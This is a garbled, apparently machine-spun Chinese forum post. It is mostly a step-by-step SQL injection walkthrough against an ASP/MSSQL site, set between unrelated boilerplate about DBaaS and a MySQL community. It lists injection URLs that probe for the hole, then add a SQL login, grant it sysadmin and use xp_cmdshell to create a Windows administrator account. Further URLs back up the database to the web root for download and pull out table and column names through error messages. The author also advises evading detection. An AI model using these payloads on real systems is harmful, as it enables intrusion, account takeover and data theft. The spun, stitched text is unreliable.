|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
任何规模的组织都可能受益于外包服务,并在一个标准化和优化的平台上统一其数据库管理任务。基于其本身的特性,DBaaS提供了敏捷和高效的数据库服务,它可以支持多变的需求。毁灭之魔文章影子鹰平安收集
方才入手下手进修SQL注进进侵,有写的不合错误和欠好的中央但愿列位师哥,师姐们多多引导。
在一个供求信息公布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49
我做了以下测试:(1)Http://www.xxx.com/new/new.asp?id=49
MicrosoftOLEDBProviderforODBCDrivers毛病80040e14
[Microsoft][ODBCMicrosoftAccessDriver]字符串的语法毛病
在查询表达式ID=49中。
/new.asp,行36
(2)Http://www.xxx.com/new/new.asp?id=49and1=1
(一般前往页面)
(3)Http://www.xxx.com/new/new.asp?id=49and1=2
MicrosoftOLEDBProviderforODBCDrivers毛病800a0bcd
BOF或EOF中有一个是"真",大概以后的纪录已被删除,所需的操纵请求一个以后的纪录。
/new.asp,行42
注:下面的测试已能够看出有SQL注进的时机,我们用上面一个句子来判别他数据库范例和上岸身份。
Http://www.xxx.com/new/new.asp?id=49anduser>0
MicrosoftOLEDBProviderforODBCDrivers毛病800a0bcd
将nvarchar值"dbo"转换数据范例为int的列时产生语法毛病
/new.asp,行42
注:假如显现"dbo"转换数据范例为int的列时产生语法毛病那末就能够用我上面先容的办法来取得体系办理权限,假如是"abc"转换数据范例为int的列时产生语法毛病那末就用不克不及用我上面的先容来取得体系权限了。
取得以上信息后,就能够提交以下URL来一步一步的取得SQL办理员权限和体系权限了。
(1)Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addloginfmzm;--
增加SQL用户
(2)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_passwordnull,fmzm,fmzm;--
设置SQL帐号FMZM的暗码为FMZM
(3)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_addsrvrolemembersysadminfmzm;--
提拔权限:加FMZM进sysadmin办理组(偶然候会不乐成,就知识上面的句子
;execmaster.dbo.sp_addsrvrolememberfmzm,sysadmin--为何会如许,我也不清分明,我就碰到了?栽。。。)
(4)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshellnetuserfmzmfmzm/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;--
创建一个体系用FMZM并设置其暗码为FMZM
(注:/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes这些很关头,假如不加这些,你创建的用户很有大概没法上岸,这些是启用你的帐号,而且使暗码永不外期的一些相干设置。)
(5)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsfmzm/add;--
把帐号FMZM到场到办理员组
OK,到此为止,已失掉了SQL办理权限和体系权限了,另有甚么不克不及做的呢?把下面的句子变个形开个TELNET,大概用SQL毗连器往毗连,任意你怎样整了,记得别表露本人哦:)今朝有些好的IDS已入手下手监督xp_cmdshell这些关头字了.
附:
(1)http://Site/url.asp?id=1;;anddb_name()>0
后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。
(2)http://Site/url.asp?id=1;backupdatabase数据库名todisk=c:inetpubwwwroot1.db;--
这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
(3)http://Site/url.asp?id=1;;and(selectTop1namefromsysobjectswherextype=Uandstatus>0)>0
sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=Uandstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是能够
本人思索下。
(4)http://Site/url.asp?id=1;;and(selectTop1col_name(object_id(表名),1)fromsysobjects)>0
从(3)拿到表名后,用object_id(表名)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
你碰到的问题可能已经在社区中被别的人已经问过,即使没有MySQL学习教程,你也可以提出问题或通过Google来搜索答案。社区的相关负责人士:“MySQL社区是活跃、友好和内容渊博的。” |
|